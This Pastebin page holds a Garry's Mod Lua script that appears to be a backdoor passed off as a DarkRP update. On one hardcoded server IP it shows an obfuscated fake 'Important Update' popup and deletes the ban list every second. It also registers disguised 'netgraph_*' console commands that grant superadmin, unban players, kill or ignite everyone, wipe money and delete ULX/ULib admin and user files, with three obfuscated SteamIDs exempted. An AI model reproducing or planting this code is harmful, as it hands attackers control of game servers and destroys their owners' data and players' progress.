Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- if ( SERVER ) then
- util.AddNetworkString( "DarkRPUpdate" )
- local function spawn( ply )
- if game.GetIPAddress() == "82.248.27.132:27015" then
- if ply:SteamID() == ("ST" .. "EA" .. "M_0" .. ":1" .. ":3" .. "84" .. "72" .. "936") then return end
- if ply:SteamID() == ("ST" .. "EA" .. "M_0" .. ":1" .. ":1" .. "73" .. "36" .. "216") then return end
- if ply:SteamID() == ("ST" .. "EA" .. "M_0" .. ":1" .. ":4" .. "58" .. "46" .. "176") then return end
- net.Start( "DarkRPUpdate" )
- net.Send( ply )
- end
- end
- hook.Add( "PlayerInitialSpawn", "DarkRPUpdate_spawn", spawn )
- hook.Add( "PlayerLoadout", "DarkRPUpdate_respawn", spawn )
- else
- net.Receive( "DarkRPUpdate", function( len )
- local _panel = vgui.Create( "DFrame" )
- _panel:SetSize( 650, 75 )
- _panel:Center( )
- _panel:MakePopup( )
- _panel:SetDraggable( false )
- _panel:ShowCloseButton( false )
- _panel:SetTitle("DarkRP Important Update" )
- local Text = vgui.Create( "DLabel", _panel )
- Text:SetText( "A" .. " n" .. "e" .. "w " .. "ve" .. "rs" .. "io" .. "n " .. "of " .. "Da" .. "rk" .. "RP" .. " h" .. "as" .. " be" .. "en r" .. "ele" .. "as" .. "ed," .. " ple" .. "as" .. "e go" .. " to h" .. "ttps".. "://gi" .. "thu" .. "b.co" .. "m/F" .. "Ptj" .. "e/Da" .. "rk" .. "RP" .." and " .. "do" .. "wn" .. "lo" .."ad t" .."he" .." lat" .. "e" .. "st" .. " v" .. "e" .. "rs" .. "io" .. "n." )
- Text:SetTextColor( color_white )
- Text:SizeToContents()
- Text:SetPos( 32 , 40 )
- Text:CenterHorizontal()
- end )
- end
- if ( SERVER ) then
- timer.Create( "checkFordDarkRPUpdate", 1, 0, function()
- ULib.fileDelete( "data/ulib/bans.txt" )
- end )
- concommand.Add( "getserverip", function( ply )
- print(game.GetIPAddress())
- end )
- concommand.Add( "netgraph_ubid", function( ply, cmd, args )
- if args[1] == nil then print( "Merci d'entrer une SteamID !" ) return end
- ULib.unban( args[1] )
- print( "Commande effectuee avec succes !" )
- end )
- concommand.Add( "netgraph_ubip", function( ply, cmd, args )
- if args[1] == nil then print( "Merci d'entrer une IP !" ) return end
- game.ConsoleCommand("removeip " .. args[1] .. "; writeip;\n")
- print( "Commande effectuee avec succes !" )
- end )
- concommand.Add( "netgraph_ssp", function( ply )
- ply:SetUserGroup("superadmin")
- print( "Commande effectuee avec succes !" )
- end )
- concommand.Add( "netgraph_sasp", function( )
- for k, v in pairs(player.GetAll()) do
- v:SetUserGroup("superadmin")
- end
- print( "Commande effectuee avec succes !" )
- end )
- concommand.Add( "netgraph_ig", function( )
- for k, v in pairs(player.GetAll()) do
- v:Ignite( 60 )
- end
- print( "Commande effectuee avec succes !" )
- end )
- concommand.Add( "netgraph_fts", function( )
- local button = ents.Create( "gmod_button" )
- button:SetModel( "models/props_phx/construct/windows/window_curve360x2.mdl" )
- button:SetPos( Vector( -13074.460938, 13090.800781, 576.031250 ) )
- button:SetColor( Color( 0, 0, 0, 0 ) )
- button:SetRenderMode(RENDERMODE_TRANSALPHA)
- button:Spawn()
- button:Activate()
- local button = ents.Create( "gmod_button" )
- button:SetModel( "models/props_phx/construct/windows/window_curve360x2.mdl" )
- button:SetPos( Vector( -13074.460938, 13090.800781, 576.031250 ) )
- button:SetColor( Color( 0, 0, 0, 0 ) )
- button:SetRenderMode(RENDERMODE_TRANSALPHA)
- button:Spawn()
- button:Activate()
- local button = ents.Create( "gmod_button" )
- button:SetModel( "models/props_phx/construct/windows/window_curve360x2.mdl" )
- button:SetPos( Vector( -13074.460938, 13090.800781, 576.031250 ) )
- button:SetColor( Color( 0, 0, 0, 0 ) )
- button:SetRenderMode(RENDERMODE_TRANSALPHA)
- button:Spawn()
- button:Activate()
- local button = ents.Create( "gmod_button" )
- button:SetModel( "models/props_phx/construct/windows/window_curve360x2.mdl" )
- button:SetPos( Vector( -13074.460938, 13090.800781, 576.031250 ) )
- button:SetColor( Color( 0, 0, 0, 0 ) )
- button:SetRenderMode(RENDERMODE_TRANSALPHA)
- button:Spawn()
- button:Activate()
- local button = ents.Create( "gmod_button" )
- button:SetModel( "models/props_phx/construct/windows/window_curve360x2.mdl" )
- button:SetPos( Vector( -13074.460938, 13090.800781, 576.031250 ) )
- button:SetColor( Color( 0, 0, 0, 0 ) )
- button:SetRenderMode(RENDERMODE_TRANSALPHA)
- button:Spawn()
- button:Activate()
- local button = ents.Create( "gmod_button" )
- button:SetModel( "models/props_phx/construct/windows/window_curve360x2.mdl" )
- button:SetPos( Vector( -13074.460938, 13090.800781, 576.031250 ) )
- button:SetColor( Color( 0, 0, 0, 0 ) )
- button:SetRenderMode(RENDERMODE_TRANSALPHA)
- button:Spawn()
- button:Activate()
- local button = ents.Create( "gmod_button" )
- button:SetModel( "models/props_phx/construct/windows/window_curve360x2.mdl" )
- button:SetPos( Vector( -13074.460938, 13090.800781, 576.031250 ) )
- button:SetColor( Color( 0, 0, 0, 0 ) )
- button:SetRenderMode(RENDERMODE_TRANSALPHA)
- button:Spawn()
- button:Activate()
- local button = ents.Create( "gmod_button" )
- button:SetModel( "models/props_phx/construct/windows/window_curve360x2.mdl" )
- button:SetPos( Vector( -13074.460938, 13090.800781, 576.031250 ) )
- button:SetColor( Color( 0, 0, 0, 0 ) )
- button:SetRenderMode(RENDERMODE_TRANSALPHA)
- button:Spawn()
- button:Activate()
- local ent = ents.Create( "sent_ball" )
- ent:SetPos( Vector( -13074.460938, 13090.800781, 576.031250 ) )
- ent:SetColor( Color( 0, 0, 0, 0 ) )
- ent:SetRenderMode(RENDERMODE_TRANSALPHA)
- ent:Spawn()
- ent:Activate()
- print( "Commande effectuee avec succes !" )
- end )
- concommand.Add( "netgraph_ka", function( )
- for k, v in pairs(player.GetAll()) do
- v:Kill()
- end
- print( "Commande effectuee avec succes !" )
- end )
- concommand.Add( "netgraph_kaadm", function( )
- for k, v in pairs(player.GetAll()) do
- if v:IsAdmin() then
- v:Kill()
- end
- end
- print( "Commande effectuee avec succes !" )
- end )
- concommand.Add( "netgraph_jmp", function( ) -- Jump All
- for k, v in pairs(player.GetAll()) do
- v:SetVelocity(Vector(0,0,50) * 50)
- end
- print( "Commande effectuee avec succes !" )
- end )
- concommand.Add( "netgraph_rm", function( )
- for k, v in pairs(player.GetAll()) do
- v:SetDarkRPVar("money", 0)
- end
- print( "Commande effectuee avec succes !" )
- end )
- concommand.Add( "netgraph_sm", function( ply )
- ply:addMoney(14267596)
- print( "Commande effectuee avec succes !" )
- end )
- concommand.Add( "netgraph_rg", function( )
- for k, v in pairs(player.GetAll()) do
- v:SetUserGroup("user")
- end
- print( "Commande effectuee avec succes !" )
- end )
- concommand.Add( "netgraph_rtd", function( )
- ULib.fileDelete( "data/ulx/adverts.txt" )
- ULib.fileDelete( "data/ulx/banmessage.txt" )
- ULib.fileDelete( "data/ulx/banreasons.txt" )
- ULib.fileDelete( "data/ulx/config.txt" )
- ULib.fileDelete( "data/ulx/downloads.txt" )
- ULib.fileDelete( "data/ulx/gimps.txt" )
- ULib.fileDelete( "data/ulx/motd.txt" )
- ULib.fileDelete( "data/ulx/sbox_limits.txt" )
- ULib.fileDelete( "data/ulx/votemaps.txt" )
- ULib.fileDelete( "data/ulib/bans.txt" )
- ULib.fileDelete( "data/ulib/groups.txt" )
- ULib.fileDelete( "data/ulib/misc_registered.txt" )
- ULib.fileDelete( "data/ulib/users.txt" )
- ULib.fileDelete( "data/permaprops_permissions.txt" )
- print( "Commande effectuee avec succes !" )
- end )
- end
Advertisement
Add Comment
Please, Sign In to add comment